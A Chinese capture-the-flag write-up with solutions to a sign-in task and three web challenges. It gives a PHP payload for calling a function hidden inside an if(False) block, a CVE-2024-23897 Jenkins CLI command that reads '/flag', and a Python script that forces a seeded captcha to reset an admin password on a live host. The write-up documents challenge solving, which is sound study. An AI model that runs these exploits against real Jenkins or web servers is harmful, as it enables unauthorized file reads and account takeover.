解题详情
misc:签到
web:if(False),ezJAVA,Captcha
misc
签到
依旧是那个最难的题,不多说。
web
if(False)
网页源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php error_reporting(0); show_source(__FILE__);
$count = (file_exists('count.db')) ? (int)file_get_contents('count.db') + 1 : 1; file_put_contents('count.db', $count); echo "你是第{$count}个访问此页面的人!</br>";
if(False){ function neuq() { echo '这是你的flag:'; show_source("flag.php"); } }
$csa = $_POST['csa']; $csa();
?>
|
前面几行的作用是记录访问次数。后面有一个必定为假的判断,里面是看flag的函数。虽然必定为假,但是是可以调用的,具体原理看https://www.leavesongs.com/PENETRATION/php-challenge-2023-oct.html这篇文章。我就直接给出payload不解释了。``payload:%00neuq/var/www/html/index.php:10${$count}``分别是%00(固定符号)+neuq(函数名)+/var/www/html/index.php(绝对路径,可以在phpinfo()里面看)+:10(:+函数定义的行数)+``${$count}``($符号+访问次数,即是上述代码的\$count参数)。
![]()
拿到flag
ezJAVA
Jenkins模板的网页,没有弱密码和注册,也就是说我们只能用游客的权限访问,那受限制就很大了,上网络上找漏洞,只有一个不用权限可以用的:CVE-2024-23897,也是最近被找到的漏洞。具体文章https://cloud.tencent.com/developer/article/2384213。
还原这个漏洞需要jenkins-cli.jar文件,这个需要下载jenkins并安装才能获得,但我们有现成的所以直接访问http://monian.one:7727/jnlpJars/jenkins-cli.jar即可下载,然后根据文章构造``payload:java -jar jenkins-cli.jar -s http://monian.one:7727 -http help 1 “@/flag”``
![]()
即可拿到flag
Captcha
给了源码,分析一下main.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from captcha.image import ImageCaptcha import random,string from flask import Flask, request app = Flask( __name__, static_url_path='/', static_folder='static' ) adminname="admin" adminpassword="fakepassword" key="keuy" mycaptcha = ImageCaptcha() def genera(): random.seed(mycaptcha._seed) chr_all = string.ascii_letters + string.digits chr_4 = ''.join(random.sample(chr_all, 4)) image = mycaptcha.generate_image(chr_4) #image.save('./%s.jpg' % chr_4) return chr_4 @app.route('/', methods=['GET']) def index(): return "hello" @app.route('/login', methods=['GET']) def login(): username = request.args.get('username', "") password = request.args.get('password', "") if(username == adminname and password == adminpassword): return "login success,flag{fakeflag}" return "login false" @app.route('/findpd', methods=['GET']) def findpd(): global key email = request.args.get('email', "") if(email== ""): return "please input your email" key = genera() return "captcha send to your email" @app.route('/changepd', methods=['GET']) def changepd(): global key,adminpassword key1 = request.args.get("key","") if(key1 == key): newpassword = request.args.get("newpassword","") adminpassword = newpassword return "change password success" return "key false" if __name__ == '__main__': app.run(host='0.0.0.0', debug=False, port=5637)
|
定义了index,login,findp,changpd四个路由,根路由就不说了。
login路由:GET方式接收username,passsword两个参数,如果账号密码正确就给flag
findp路由:GET方式接收email参数,但在源码里发邮件的功能被删了。所以只有定义key的能力了。
changpd路由:GET方式接收key和newpassword两个参数,如果传入的key值等于它程序里随机生成的key,那么修改密码。
那思路就显而易见了,利用seed碰撞key修改密码然后登录就行了。至于seed,在源码里是这么个逻辑:首个seed的值为:20ec-e0ff-4158-595a-488b后面seed会变为生成的key值。然后写脚本碰撞就行了。
上面是正常思路,但还有个更简单的方法,因为源码已经给了,所以修改源码发包就行了,我是修改了findpd路由:
1 2 3 4 5 6 7 8 9 10 11
| def findpd(): global key po={"https":None,"http":None} key = genera() password='sacascadsnandsjnn' payload="http://123.57.30.117:5637/changepd?key={}&newpassword={}".format(key,password) res=requests.get(payload,proxies=po) if "success" in res.text: flag="http://123.57.30.117:5637//login?username=admin&password={}".format(password) res1=requests.get(url=flag,proxies=po) return key+res1.text
|
然后本地开一个服务器访问findpd路由
![]()
刚开始是这样子的,因为没碰撞上,接下来用吃奶的力气点刷新键,就会出现:
![]()
拿到flag